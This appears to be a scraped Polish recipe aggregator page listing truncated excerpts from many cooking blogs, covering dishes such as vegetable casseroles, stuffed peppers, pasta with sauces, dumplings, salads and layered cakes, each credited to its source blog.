banan 1 łyżka masła 1 łyżka cukru 2 kokosowe ciasteczka – polecam ciasteczka bez cukru z eSłoneczko 2 gałki ulubionych lodów – u mnie śmietankowe z wiśniami i sosem wiśniowym listki świeżej mięty Przygotowanie: Banana obieramy, kroimy w grubsze plastry. Na patelni rozpuszczamy masło z cukrem, dodajemy naszego pokrojonego banana. Smażymy, co jakiś czas mieszając. Do miseczki przekładamy słodkie banany

Słodkie okruszki
Zapiekanka z kaszy jaglanej i grzybów 181

Formę ze zdejmowany brzegiem wyłożyć papierem do pieczenia ( można użyć formy na tartę, należy ją wysmarować masłem). Wyłożyć kaszę, Piec 30 minut. Przed pokrojeniem lekko przestudzić. Można podać z sosem pomidorowym. Pasuje też surówka z marchewki. 3.5.3228 The post Zapiekanka z kaszy jaglanej i grzybów appeared first on Cooking for Emily

Cooking for Emily
Zapiekane kluski serowo-gryczane z cukinią 200

gotujemy. Dodajemy do niej rozbełtane jajko, pokruszony ser, tartą cukinię i przyprawy. Mieszamy dokładnie. Masa powinna być zwarta, ale delikatnie lejąca. Kluski formujemy w wilgotnych dłoniach i wykładamy na sos pomidorowy. Pieczemy ok. 20-30 minut w 180 st. C. Można pod koniec pieczenia włączyć tryb grilla, jeśli Wasz piekarnik posiada taką opcję. Smacznego

Kucharzyca
Pizza na spodzie z kalafiora 149

pieczenia i umieszczamy na nim masę kalafiorową. Formujemy placek o grubości około ½ cm. Pieczemy w piekarniku przez około 30 minut w temp. 190 o C. Po upieczeniu smarujemy placek sosem pomidorowym, posypujemy oregano i układamy szynkę, starty ser, cebulę i pomidory. Pieczemy około 10 minut. Pod koniec pieczenia wykładamy rukolę. Kroimy na kawałki i SMACZNEGO. Wartość kaloryczna 1 porcji

Smaki Ewy
Papryka faszerowana kaszą orkiszową i tuńczykiem 198

faszerowaną paprykę, tak samo jak cukinię. Można nadziać czym się lubi, zapiec i obiadek gotowy :-) Miłego dnia :-) Składniki: 4 papryki czerwone 100 g kaszy orkiszowej 1 puszka tuńczyka w sosie własnym kilka suszonych pomidorów kilka zielonych oliwek kawałek startej na tarce dyni Hokkaido zioła prowansalskie sól pieprz oliwa do natarcia papryk ser żółty 1. Tak z godzinę wcześniej papryki umyć

kruche babeczki
Baba ziemniaczana 158

stopni piekarniku przez ok godzinę, aż się zaruniemi najlepiej smakuje przestygnięta, pokrojona w plastry i obsmażona na ruminao na patelni, podawaj z ulubionymi dodatkami, ja podałam z sosem koperkowym domowej roboty Smacznego

Oka w rosole czyli KaFka gotuje
Spagetti squash czyli dynia makaronowa 289

rodzaj dyni nie bez powodu nosi swą nazwę, może bowiem stanowić doskonały zamiennik makaronu we wszystkich makaronowych przepisach. Spaghetti z dyni świetnie komponuje się z wszelkimi sosami dodawanymi zwykle do makaronu. Dynia makaronowa - jak ją przyrządzić Z pozoru zwykła dynia lecz po upieczeniu miąższ rozpada się na pasemka, podobne do makaronu. Makaronowy miąższ bardzo łatwo można oddzielić zwykłym widelcem. Dynia

Marta próbuje
Makaron ze szpinakiem 195

koniec dodać drobno posiekany czosnek i smażyć około 1 minuty. Dodać liście szpinaku, chwilę smażyć i wlać śmietanę. Wszystko doprawić solą, pieprzem oraz szczyptą płatków chilli. Smażyć aż sos będzie gęsty, a następnie wymieszać z ugotowanym makaronem. makaron ze szpinakiem

O kuchni z uczuciem
Łosoś na Varomie z salsą mango 240

wiemy jak to zrobić to w tym linku jest film instruktażowy. Do miski dajemy oliwę, miód i sok z limonki. Mieszamy dokładnie. Pokrojone mango dajemy do miski z sosem i odstawiamy. Do naczynia Thermomix dajemy pokrojoną na 4 części cebulą oraz papryczkę chilli. Z papryczki usuwamy gniazdo nasienne. Składniki siekamy czas 5 s-10 s/obr.5 (po 5 sekundach zgarniamy kopystką

Themo przepisy
Sałatka z pieczonym batatem, kalafiorem i dzikim ryżem 253

olejem i dokładnie wymieszać. Wstawić do piekarnika nagrzanego do 175°C, piec około 20 minut, do miękkości warzyw, w trakcie pieczenia 1 – 2 razy przemieszać; odstawić do wystudzenia. Składniki sosu winegret dokładnie połączyć, doprawić do smaku, dymkę pokroić na cienkie paseczki lub plasterki. Na talerze wyłożyć rukolę, wysypać ryż, wyłożyć pieczone warzywa, posypać pestkami, dymką i tymiankiem, polać winegretem. Smacznego

Even Better Food
Karleksmums - szwedzkie ciasto miłości czyli poWeekendowe Łakocie odc.159 244

wrzenia śmietanę kremówkę i kawę, i natychmiast zdjejmujemy z palnika. Dorzucamy czekoladę, masło, mieszamy i odstawiamy na 2 minuty. Po tym czasie jeszcze raz mieszamy do powstania gładkiego sosu czekoladowego. Wystudzone ciasto polewamy gęstniejącą polewą czekoladową, równo ją rozprowadzamy i posypujemy wiórkami czekoladowymi. Odstawiamy do stężenia polewy i kroimy w kwadraty

Dzieje kuchennej Wiewióry
Gołąbki z kaszą gryczaną i grzybami – kuchnia podkarpacka 231

Możemy je również upiec w piekarniku. W przypadku kapusty włoskiej (tak, jak u mnie) wystarczy godzina w 180 stopniach C. Gołąbki podajemy duszone lub podsmażone Pasuje do nich zarówno sos grzybowy, jak i pomidorowy. Gołąbki z kaszą gryczaną i grzybami - kuchnia podkarpacka Gołąbki z kaszą gryczaną i grzybami - kuchnia podkarpacka Zapraszam również na inne dania KUCHNI PODKARPACKIEJ Przepis bierze udział

Trzeci talerz
Mielony nadziewany 191

brązowo, sprawdzamy wykałaczką czy nie wypływa krew, jeżeli tylko tłuszcz, to kotlety są dobre. Jeżeli będą słabo zalepione, to ser może wypłynąć. Serwujemy na gorąco lub na zimno, z sosem lub bez :)  Smacznego

chleba naszego
Bakłażan nadziewany soczewicą 226

Pełnowartościowy obiad bez dodatku mięsa. Zapiekany bakłażan wypełniony pyszną soczewicą oraz słodko-kwaśnym sosem pomidorowym. Wszystkie smaki i faktury łączy ze sobą dodatek tartego, najlepiej irlandzkiego sera czedar ;-) Ilość porcji: 4 duże

AniaGotuje.pl
Proste polędwiczki w sosie z czerwonego wina 288

Delikatne mięso z polędwicy wieprzowej w aksamitnym winnym sosie.. Wspaniała baza pod pyszny obiad. Ilość porcji

AniaGotuje.pl
Mielona pierś z indyka w słodko kwaśnym sosie 264

Szybkie danie dla miłośników makaronu i sosów słodko kwaśnych.. oraz delikatnego mięsa z indyka :-) Czas przygotowywania:  30 minut Ilość porcji

AniaGotuje.pl
Sałatka Kanadyjska z orzechami pekan i kozim serem 227

Pyszna, słodko kwaśna sałatka z serem kozim, orzechami pekan, szpinakiem i jabłkiem. Polana sosem z dodatkiem syropu klonowego :-) Brzmi ciekawie, prawda? Zobacz koniecznie jak zrobić taką sałatkę w Kanadyjskim stylu! Czas przygotowywania:  do 40 minut Ilość porcji

AniaGotuje.pl
Chińszczyzna z Pak Choi i mlekiem kokosowym 286

pokazać kilka propozycji z jej wykorzystaniem. Jedną z nich jest ten obiad w orientalnym stylu :-) Jakiego smaku się spodziewać? Mleko kokosowe łączy słodycz cukru trzcinowego, słony smak sosu sojowego i ostrość papryczki chilli

AniaGotuje.pl
Dressing - sos miodowy do sałatek 184

Prosto, szybko i smacznie.. Sos do lekkich sałatek. Dressing z miodem, oliwą i sokiem z cytryny. Idealny do wytrawnych sałatek z dodatkiem owoców :-) Czas przygotowywania:  10 minut Ilość porcji:  dwie duże sałatki na 4-6 osób Składniki: • 1 łyżka miodu • sok z jednej cytryny • 4 łyżki oliwy z oliwek • płaska łyżeczka pieprzu kolorowego

AniaGotuje.pl
Pulpety indycze z ryżem 126

Duże i soczyste pulpety z dodatkiem ryżu, w kąpieli z sosu pomidorowego :-) Bardzo smaczny obiad dla całej rodziny. Czas przygotowywania: 30 minut Ilość porcji

AniaGotuje.pl
Kurczak pieczony - blady 145

Bardzo często kupuję całego kurczaka i piekę go na blado, bez przypraw i chrupiącej skórki. Takie mięso jest idealne do sałatek, wrapów, kanapek.. Delikatne mięso możesz polać dowolnym sosem i posypać dowolnymi ziołami, by za każdym razem smakowało inaczej. Taki kurczak jest również idealny dla Dzieci :-) Czas przygotowywania:  5 minut Czas pieczenia:  60 minut Ilość

AniaGotuje.pl
Sałatka duet z jalapeno 134

fantastyczna sałatka powstała podczas przygotowywania spotkania ze Znajomymi :-) Miałam zaplanowane burgery z wołowiny i brakowało ostrego dodatku. Nie chciałam użyć gotowego sosu, więc zajrzałam do lodówki i wpadłam na pomysł połączenia marynowanej papryczki jalapeno z awokado i pomidorami.. wyszło cudownie! Czas przygotowywania:  10 minut Ilość porcji:  dodatek do posiłku dla 4-6 osób

AniaGotuje.pl
Serduszka drobiowe na smalcu 133

Podroby też są smaczne i czasem po nie sięgam. Serduszka z kurczaka mają delikatne, zwarte mięso. W sosie koperkowym, z dodatkiem warzyw smakują fantastycznie :-) Czas przygotowywania:  30 minut Ilość porcji:  4 Składniki: • 500 g serduszek z kurczaka • mały pęczek koperku • 200 g pieczarek • pół szklanki mleka • łyżeczką mąki • pół łyżeczki soli • 100 g domowego

AniaGotuje.pl
Focaccia z rozmarynem 165

Focaccia to świetna alternatywa do typowej pizzy. Prawie nie zawiera dodatków, dlatego też sprawdza się jako przekąska dla Dzieci. Pokrojona w paski jest idealna do przegryzania z sosami, serami, warzywami,  hummusem , czy inną pastą . To również idealna przekąska na przyjęcia. Łączny czas przygotowywania:  1,5 h z wyrastaniem Ilość porcji: blaszka 20/30

AniaGotuje.pl
Zupa Ramen wołowy 229

pszennego Udon lub Chow mein • 5 jajek ugotowanych na twardo • 2 cebule dymki ze szczypiorem • 20 g suchych grzybków moon • 1 świeża papryczka chilli - lub łyżka suszu • 20 ml sosu sojowego

AniaGotuje.pl
Pulled chicken - pierś kurczaka szarpana 305

kurczaka w wersji delikatnej i łagodnej. Mięso ma neutralny smak, który idealnie wpasuje się w wiele dań. - do każdej sałatki - na kanapki i do burgerów - z sosem i warzywami - do makaronów i kasz Czas przygotowywania:  do 20 minut Duszenie:  do 50 minut  Ilość porcji:  4 Składniki: • 1 podwójna

AniaGotuje.pl
Domowy sos toffi z kakao 128

Domowy sos toffi to wspaniały i niezwykle uniwersalny deser.  Na ciepło: - do polania na owoce - na lody - na placki, naleśniki i gofry Po schłodzeniu gęstnieje: - masa do tortów i ciast - nadzienie do babeczek i tart

AniaGotuje.pl
Makaron tagliatelle z kurkami i sosem kaparowym 261

Cudowny makaron tagliatelle i pyszne dodatki skąpane w sosie śmietanowym. Fantastyczny obiad dla całej rodziny! - najwyższa jakość makaronu Barilla - proste i pyszne danie sezonowe - bez mięsa  - podane w jednym naczyniu

AniaGotuje.pl
Pulpety z kurczaka w sosie pomidorowym 264

Pulpety z kurczaka i cukinii to pyszny obiad, który możesz podać z rożnymi dodatkami. Lekki, pomidorowy sos zachęca do serwowania pulpetów z ryżem, makaronem czy też z kromką świeżego pieczywa :-) Takie lekkie i mięciutkie pulpety polecam w szczególności dla Dzieci oraz osób na wymagającej diecie np. chorych

AniaGotuje.pl
Makaron ryżowy z krewetkami 299

Przepis na pyszny makaron ryżowy podany ze smażony z krewetkami i sosem sojowym. Proste i szybkie danie dla całej rodziny

AniaGotuje.pl
Placki z cukinii i ziemniaków 152

miseczce z gęstym jogurtem naturalnym. Placki na wytrawnie: Po usmażeniu oprósz je ulubionym pieprzem i obsyp świeżymi ziołami - tymianek, oregano, bazylia lub kolendra. Podawaj z  domowym sosem czosnkowym .  Jaką wersję placków wolicie? Na słodko, czy na wytrawnie

AniaGotuje.pl
Pasztet z soczewicy 346

Przepis na pyszny pasztet z soczewicy i warzyw. Po przestudzeniu idealnie się kroi. Można go wykorzystać do: - na ciepło z dowolnym sosem - na zimno na kanapkach  - jako farsz do pierogów - jako samodzielne danie z chrzanem, musztardą czy domową ćwikłą Z bezmięsnych pasztetów polecam spróbować również wersji gryczanej do smarowania.  W wersji pieczonej cudowny jest również pasztet jaglany

AniaGotuje.pl
Zupa krem grzybowa 319

Jeśli zaś szukasz zupy z delikatnym indykiem w wersji nie zblendowanej, gorąco polecam pyszną zupę z grzybami leśnymi .  Skoro jesteśmy w temacie grzybów... muszę również wspomnieć o najlepszym sosie grzybowym oraz o przepisie na grzybki marynowana na słodko ostro

AniaGotuje.pl
Spaghetti alla carbonara 187

drobno czosnek i natkę pietruszki. Do patelni przekładamy ugotowany i odcedzony makaron, mieszamy z boczkiem. Wlewamy rozmącone jajko, posypujemy połową parmezanu. Zdejmujemy z ognia i energicznie mieszamy by powstał sos (jajka nie mogą się ściąć). Wykładamy makaron na talerz, posypujemy parmezanem i cieszymy się wspaniałym obiadem przygotowanym w kilka minut

Kucharka Tarka i Miarka
CHRUPIĄCY KURCZAK W PŁATKACH KUKURYDZIANYCH 211

dzieci. Kurczak jest chrupiący z wierzchu, a mięciutki i soczysty w środku. Polecam jako danie obiadowe z ziemniaczkami i jakąś pyszną surówką. Można go też podać jako przekąskę z sosem czosnkowym lub keczupem. Smacznego :) SKŁADNIKI : 1 pojedyncza pierś z kurczaka 1 jajko 0,5 szklanki mleka 3/4 szklanki mąki pszennej łyżeczka soli trochę pieprzu szczypta oregano, papryki słodkiej i ostrej

Pani na deser
KOTLECIKI MIELONE Z INDYKA 181

duże kotlety i mocno spłaszczamy, panierujemy w bułce. Smażymy na rozgrzanym tłuszczu z obu stron na złoty kolor. Pod koniec smażymy pod przykryciem. Podajemy z ziemniakami, surówką oraz z sosem, u mnie w tym przepisie - pieczarkowym. Smacznego

Pani na deser
GULASZ 210

Gulasz to danie które praktycznie robi się samo. Jedynie musimy je od czasu do czasu pomieszać. Bardzo lubię tego typu dania zwłaszcza z sosem i ziemniakami. Dla mnie to prawdziwa uczta, jeszcze tylko surówka i pyszne danie mamy gotowe. Smacznego :) SKŁADNIKI: ok. 60 dag łopatki lub karkówki wieprzowej 4 cebule ząbek czosnku śmietana i mąka do zagęszczenia olej lub smalec

Pani na deser
SCHABOWE BITKI 192

odkładamy.  Cebulę kroimy w kostkę i podsmażamy na tłuszczu z mięsa. Dajemy mięso, przyprawy, zalewamy gorącą wodą. Przykrywamy pokrywką i dusimy na małym ogniu do miękkości (około godziny). Sos na końcu blendujemy i zagęszczamy  śmietaną z odrobiną mąki, chwilę jeszcze gotujemy.  Następnie przyprawiamy solą, pieprzem, papryką. Podajemy z ziemniakami, ryżem, kluskami śląskimi lub inny ulubiony. Do obiadu

Pani na deser
CIASTO KARNAWAŁOWE 313

Sylwestra :)  BISZKOPT : 4 jajka szklanka cukru szklanka mąki łyżeczka proszku do pieczenia i octu MASA : 2 opakowania bitej śmietany śnieżki kubek śmietany do zup i sosów 18 %  (Mleczna dolina 330 ml) szklanka mleka galaretka cytrynowa galaretka pomarańczowa galaretka agrestowa ORAZ : 2 niebieskie galaretki  3 pojedyncze  opakowania delicji wiśniowych WYKONANIE BISZKOPTU : Ubijamy pianę na sztywno, powoli

Pani na deser
KLUSKI ŚLĄSKIE 220

Gotujemy wodę i lekko ją solimy. Kluseczki powoli wrzucamy i na małym ogniu gotujemy pod przykryciem aż wypłyną. Wyciągamy z wody i od razu podajemy najlepiej z sosem, mięsem  i surówką . Smacznego

Pani na deser
MUFFINKI RED VELVET 202

parę kropli aromatu 2 całe jajka 17,5 dag maślanki lub kefiru łyżeczka octu jabłkowego lub zwykłego KREM: śmietana w proszku Śnieżka 330 ml śmietany 18 % do zup i sosów 2 łyżki cukru pudru łyżka żelatyny WYKONANIE: Formę na muffinki wykładamy papilotkami. Nagrzewamy piekarnik na 170 - 180 stopni C ustawienie góra-dół. Mąkę, kakao, proszek, sodę przesiewamy i mieszamy

Pani na deser
CIASTO STOKROTKA 251

jeden kawałek . Polecam :) SKŁADNIKI : opakowanie prostokątnych lub kwadratowych herbatników (ok. 200 g) mleko do nasączenia WARSTWA ŚMIETANOWA : 400 g kefiru 400 g śmietany 18 % (do zup i sosów) 3-4 łyżki cukru pudru 2 galaretki cytrynowe galaretka niebieska galaretka jagodowa galaretka brzoskwiniowa DEKORACJA : galaretka agrestowa 2 opakowania ciastek w kształcie kwiatków żurawina do wypełnienia środków WYKONANIE: Każdą z 3 galaretek

Pani na deser
SAŁATA LODOWA Z SELEREM NACIOWYM 226

cytryny kawałek  białej części  pora  WYKONANIE : Wszystkie warzywa dokładnie myjemy, odsączamy. Kroimy na dowolne kawałki. Majonez mieszamy z jogurtem, doprawiamy do smaku i wsypujemy szczypiorek. Powstałym sosem polewamy po warzywach i delikatnie mieszamy. Smacznego

Pani na deser
MEGA CZEKOLADOWA BABKA BEZ MIKSERA 199

foty.  Połowa zniknęła jeszcze ciepła ;) Jak myślicie chyba im smakowała? Mi bardzo :)  Babka wspaniale będzie się komponować z gałką  lodów  waniliowych  i jakimś owocowym sosem. Zróbcie koniecznie jak lubicie takie mocno czekoladowe cuda ;)  SKŁADNIKI: MOKRE 2 jajka 250 ml mleka 125 ml oleju kilka kropli olejku waniliowego 250 g wrzącej wody SUCHE

Pani na deser
CIACHO Z BORÓWKAMI I NIEWIDZIALNĄ GALARETKĄ 232

super smakuje. Polecam  :) Upiec 2 biszkopty w blaszce o wymiarach 25/40 cm. Tu przepis  KLIK MASA: 2 opakowania bitej śmietany śnieżki kubek śmietany do zup i sosów 18 %  (u mnie Mleczna dolina 330 ml) szklanka mleka galaretka cytrynowa ORAZ: 2 galaretki przezroczyste np. Winiary 25 dag borówek amerykańskich WYKONANIE: Galaretki przezroczyste rozpuszczamy w 2 szklankach wody

Pani na deser
Warstwowa sałatka gyros 167

Układanie warstw według uznania, my zawsze układamy w podany wyżej sposób. Zajrzyj również tu: 1.  Rozgrzewający krem pomidorowy z bazylią 2.  Kieszonki z piersi z kurczaka z sosem kurkowym 3.  Szybka sałatka z makaronem i cebulką marynowaną

My World by Dagmara Rek
Makaron ze szpinakiem i serem feta 335

smażyć, co jakiś czas mieszając  przez 5 minut.  Dodać śmietankę i ser, podgrzewać do momentu, aż ser się rozpuści a całość ładnie połączy. Doprawić do smaku.  Sos wymieszać z makaronem.  SMACZNEGO

kulinarnyswiatdomi
Smażone pierogi szafranowe z rydzami i czerwonym pieprzem 173

koloru. Przełożyć na talerz i posypać roztartym czerwonym pieprzem. Smacznego To też może Cię zainteresować: Kopytka z rydzami smażonymi na maśle Pulpeciki z kaszy gryczanej nadziewane kozim serem w sosie grzybowo-dyniowym Smażone pierogi z wołowiną na ostro Pierogi ruskie     (adsbygoogle = window.adsbygoogle || []).push

Oryginalny smak
Kurczak jak z KFC 190

Mąkę wymieszać z rozkruszonymi płatkami. Mięso maczać w cieście i obtoczyć w mące z płatkami. Mięso smażyć na złoty kolor. Odłożyć na ręcznik papierowy. Podawać na ciepło z ulubionymi sosami i frytkami

Magiczne Życie Marty
Gulasz z żołądków drobiowych w sosie pomidorowym 265

żołądki wyjąć z garnka. Pokroić w paseczki. Do wywaru dodać koncentrat pomidorowy, podsmażone pieczarki z cebulką i pokrojone żołądki. Całość chwilę gotować. Gulasz zagęścić mąką rozrobioną w wodzie. Ewentualnie sos posmakować i mocniej doprawić. Przed podaniem posypać posiekaną zieloną pietruszką

Ugotować
Sałatka brokułowa z fasolką szparagową 181

użyjemy świeżego czosnku, należy go obrać i przecisnąć przez praskę. Sałatka ze świeżym czosnkiem będzie miała bardziej intensywny smak czosnkowy, z suszonym jest zdecydowanie łagodniejsza Wszystkie składniki połączyć, dodać sos, wymieszać i doprawić do smaku pieprzem i ewentualnie solą. Soli zbyt dużo nie dodawać, gdyż ser feta jest dość słony. Zobacz również: kurczak curry z fasolką szparagową

Kuchcik gotuje
Gulasz z szynki z warzywami 147

stopni na 50 minut. Po tym czasie wyjmuję szynkę z warzywami. W kubeczku mieszam wodę z mąką ziemniaczaną i wlewam ją do szynki – stworzy się aksamitny sos. Podaję z ryżem, kaszą lub ziemniakami.   Artykuł Gulasz z szynki z warzywami pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Kopytka 180

ciasto na kopytka. Od momentu jak kopytka wypłyną na powierzchnię wody gotować jeszcze minutkę. Wyjąć kopytka łyżką cedzakową i położyć na durszlaku, odcedzić. Położyć na talerze i polać dowolnym sosem. Udały się wybornie, polecam

Kuchnia Pokoleń
Owsianka z gruszkami -śniadanie w weekend 195

Karmelizuj gruszki po obu stronach aż się lekko zrumienią i puszczą sok. Napełnij miseczkę owsianką. Na wierzchu udekoruj gruszkami i jogurtem. Jogurt możesz wymieszaj z miodem. Polej gruszki wytworzonym sosem. Posyp owsiankę nasionami, pokrojonymi pistacjami, cynamonem lub tym na co masz ochotę. Smacznego! Spara Spara Spara Spara The post Owsianka z gruszkami -śniadanie w weekend appeared first on Blog kulinarny

codojedzenia
Kołpaki kiszone 442

wiele razy pisałam, że kiszonki są bardzo zdrowe, nawet te grzybowe. Płachetki to wspaniałe grzyby i mają wiele zastosowań. Świetne są marynowane , ale nadają się doskonale także na zupę, sos czy do zapiekanek. Szkoda, że trafiam na nie tylko na Podlasiu , a bliżej znajdowałam tylko pojedyncze sztuki. Możecie według tego przepisu zakisić też opieńki lub inne grzyby blaszkowe. ROZWIŃ

Smaczna Pyza
Schab z nadzieniem orzechowo koperkowym. 183

Dziś mam kolejną propozycję na nadziewany schab. Idealnie pasuje do obiadu ale i na zimno z ulubionym sosem i kromeczką chleba smakuje wyśmienicie.  Tutaj znajdziecie równie smaczny ale inny pomysł na odświętne danie.... Składniki; ok. 70 dag schabu bez kości składniki marynaty; 1/3 szklanki oleju 4 łyżki koperku drobno posiekanego 1 łyżeczka soli Skworcu , pół łyżeczki   pieprzu Skworcu

Radość kipiąca uśmiechem.
Brokuły zapiekane z serem pleśniowym 272

Dodać pokruszony ser pleśniowy, doprawić solą i pieprzem. Należy pamiętać aby nie przesadzić z solą, bo ser jest słony. Do naczynia do zapiekania przełożyć różyczki brokuła. Całość polać przygotowanym sosem i wstawić do piekarnika nagrzanego do 180°C . Zapiekać około 20 minut, aż jajko się zetnie. Smacznego To też może Cię zainteresować: Parmigiana di melanzane Pieczona kapusta Cukinia faszerowana mielonym

Oryginalny smak
Zapiekanka makaronowa bez sera 183

Często pytaliście mnie jak zrobić zapiekankę bez sera. Dzisiaj mam dla Was  jedną z takich zapiekanek makaronowych. Bardzo smaczna i szybka do zrobienia. Całość zalana sosem na bazie pomidorów i jogurtu. Jeśli przygotowaliście dania z moich przepisów to proszę podzielcie się swoją opinią w komentarzu. Mile widziane również zdjęcie Waszej potrawy. Składniki: 300 g makaronu kokardki 300 g szynki

O kuchni z uczuciem
Gofry ziemniaczane w wersji śniadaniowej 186

przygotować także na obiad lub kolację. Każda pora, to inne dodatki, ale zapewniam, że może być ich wiele. Żałowałam że nie miałam już dostępu do kurek, bo taki sos z nich i mięsna roladka byłyby świetnym pomysłem na obiad. Spróbujcie koniecznie, warto! Składniki na ok 8 gofrów: 400g ziemniaków 100ml + 3 łyżki bulionu warzywnego Krakus 2 łyżki śmietany

Kuchnia w czekoladzie
KOPYTKA NAJLEPSZE- PRZEPIS NA CIASTO 164

jako dziecko bardzo je lubiłam i tak zostało do dziś :) Kopytka to szybki i prosty sposób na pyszny obiad.  Najczęściej podaję je z przesmażoną cebulką, boczkiem, kiełbasą albo sosem pieczarkowym. Doskonały dodatek do mięs czy gulaszu.  Składniki: * 1 kg ugotowanych ziemniaków * 2 szklanki mąki pszennej * 1 jajko * szczypta soli Wykonanie: Ugotowane ziemniaki przecisnąć przez praskę, wystudzić. Dodać mąkę

Zrób to smacznie
Grzanki z serem, pieczarkami i sosem ziołowym 139

już od nastoletnich lat. Cieplutkie i chrupiące domowe grzanki z ulubionymi dodatkami, najczęściej pomidorami, pieczarkami, cebulką, chili, pesto, cukinią i oczywiście delikatnie ciągnącym się serem. Dziś dopełniłam grzanki sosem ziołowym na bazie oliwy i oleju lnianego z ulubionymi ziołami i suszoną natką – wyszły wspaniałe, gorące i chrupiące grzanki takie jak lubię. Składniki: kilka kromek pieczywa pełnoziarnistego lub białego majonez

Zasmakuj Kuchni
Pikantne skrzydełka z grilla 200

starannie skrzydełka, przekładamy do miski i zakrywamy szczelnie folią. Wstawiamy do chłodnego miejsca na kilka godzin. Grillujemy. Pilnujemy, bo miód się szybko karmelizuje. Do takich skrzydełek dobrze jest podać sos jogurtowy, który złagodzi delikatną ostrość. Smacznego! Post Pikantne skrzydełka z grilla pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Prosta sałatka ziemniaczana 321

solą i pieprzem. Prawda, że proste? Sałatce dobrze zrobi 30 minut w chłodnym miejscu, żeby smaki się połączyły. Jeśli macie świeżo ugotowane ziemniaki i fasolę, to dobrze jest wymieszać sos z jeszcze ciepłymi warzywami. Możecie dodać świeżą lub konserwową paprykę, czerwoną cebulę. Podany przepis niech będzie szkieletem, a was niech ponosi fantazja kulinarna! Dajcie znać, co wyszło i pochwalcie się

ladykitchen
Szybki makaron z cukinia 178

Szklimy przez chwilkę, po czym dorzucamy cukinię i przesmażamy, aż zmięknie. Dolewamy ciepły bulion i doprowadzamy do wrzenia. Gotujemy przez 2 - 3 minuty. Makaron odcedzamy i dodajemy do powstałego sosu. Mieszamy i wykładamy na talerz. Całość posypujemy kozim serem. Proste danie   zrobione #smacznieiszybko Smacznego

Kuchnia od dwojga
Krucha tarta ze śliwkami i kremem 207

duszonych mięs.  Owoce te idealnie nadają się na przetwory. Oczywiście nie możemy zapomnieć o klasycznych powidłach ze śliwek, dżemach, śliwkach marynowanych w  occie czy różnego rodzaju sosów i chutneyów podawanych do dań mięsnych. Na pewno są tu też amatorzy śliwkowych nalewek czy śliwowicy. ------------------------------------------------------------- Krucha tarta ze śliwkami i kremem Czas przygotowania: 3 godziny Proporcje na formę o średnicy

Kulinarne przygody Gatity
Jesienna sałatka dobrze przyprawiona godna mistrza 202

skropioną resztą oliwy i podsmażamy nasze zamarynowane medaliony z polędwiczki po 4 minuty z każdej strony. Talerz dekorujemy rukolą, owocami, upieczonymi warzywami, serem kozim. Nakładamy na to mięso, polewamy sosem leśnym, posypujemy migdałami, solą i kolorowym pieprzem. Smacznego

pichciszto
Papryka faszerowana z kurczakiem 147

całość bulionem i wstawiamy do piekarnika. Pieczenie: Temperatura - 200ºC z termoobiegiem Czas - ok. 25 minut   Po wyjęciu z piekarnika papryka jest gotowa do jedzenia. Można polać ją ketchupem, sosem jogurtowym lub innym ulubionym dodatkiem. Życzę smacznego

Cooking Monster
Sałatka ziemniaczana z cukinią i śliwką węgierką 214

sałatkę ziemniaczaną ze śliwką węgierką Ziemniaki pokroić w plasterki. Cukinię podsmażyć na patelni z czosnkiem przez kilka minut. Ułożyć na talerzu liście sałaty, na nich ziemniaki z cukinią. Polać sosem winegret. Na to ułożyć śliwki i posypać serem feta. Popieprzyć i jeść od razu. Lubisz moje wpisy? Bądź na bieżąco na Facebooku i Instagramie ! Artykuł Sałatka ziemniaczana z cukinią

Ugotowane pozamiatane
Kalabria – w królestwie bergamotki 265

kupić lemoniadę z bergamotki i likier przypominający limoncello, który podaje się w kieliszkach do prosecco. Jest też dżem bergamotowy. To z takich oczywistych rzeczy. Bergamotkę dodaje się także do sosów, mięs np. słynnej kiełbasy nduja i aromatyzuje się nią ryby podobnie jak u nas cytryną. Tradycyjny makaron stroncatura też można kupić w wersji bergamotkowej. Właściwie wszystko do czego można użyć

Ugotowane pozamiatane
Pomysł na… strączki z warzywami i halloumi 152

Zostawiam dla Was kolejny pomysł na obiad bez mięsa. Fasola z ciecierzycą duszone w sosie pomidorowym, warzywa i grillowany ser halloumi. Fasolę i ciecierzycę namoczyłam wcześniej i gotowałam do miękkości. Jednak spokojnie możecie użyć konserwowych. Ogromna oszczędność czasu. Do miękkich str ąków dodałam szklankę przecieru pomidorowego i dużą łyżkę suszonego majeranku. Ile przecieru dodać musicie sami zadecydować, bo to zależy

Kucharzyca
CURRY RYBNE W MLEKU KOKOSOWYM (keto, LCHF, paleo, optymalna, bez glutenu i laktozy) 252

gotowego mleka kokosowego, które należy podgrzewać z odrobiną soli, pieprzu i soku cytrynowego na małym ogniu do momentu aż zgęstnieje. Rybę pokroić w drobne kawałki a następnie dołożyć do sosu i gotować na małym ogniu pod przykryciem przez ok 20-25 minut. Delikatnie mieszać by ryba nie rozpadła się. Całość doprawić do smaku. Podawać np ze spaghetti z cukinii

Ola la LCHF
Placki ziemniaczane z boczkiem 206

sporo nalane, kładź placki łyżką na mocno rozgrzaną patelnię, wtedy masz gwarancję, że placki będą chrupiące, smaż na rumiano z obu stron podawaj z ulubionymi dodatkami, ja podałam z sosem koperkowym domowej roboty Smacznego

Oka w rosole czyli KaFka gotuje
Kopytka z ziołami, nutą pomarańczy i parmezanem 172

wyjmujemy. U mnie do garnka w którym było roztopione masło. Przekładamy na talerz i posypujemy startym parmezanem. Podajemy same lub z mięsem. U mnie kopytka były z polędwiczką w sosie na którą przepis niedługo :-) Smacznego

kruche babeczki
Jak przechowywać żywność w lodówce? 200

spożywczych. Większość obecnych lodówek wyposażona jest w szufladę, do której wkładamy warzywa (np. sałatę i szczypior) oraz owoce. Na drzwiach lodówki najlepiej przechowywać takie produkty jak: napoje , ketchupy , musztardy , sosy w butelkach , oleje (najlepiej w ciemnych, szklanych butelkach), jajka, masło itd. W czym przechowywać żywność? Co nam pomoże w przedłużeniu jej przydatności do spożycia? Nie tylko odpowiednie ułożenie produktów

Słodkie okruszki
Pizza na puszystym cieście 290

Wyrobione ciasto zostawiamy w misce i przykrywamy ściereczką. Odstawiamy do wyrośnięcia na 30 minut (ciasto powinno podwoić swoja objętość).  Po tym czasie ciasto rozkładamy równomiernie w misce. Smarujemy sosem (np. TYM ), układamy ulubione dodatki. Wstawiamy do piekarnika nagrzanego do 200 stopni Celsjusza i pieczemy około 18-20 minut

Gotuj z Mąką
Pasta kanapkowa z tofu i pieczarek 196

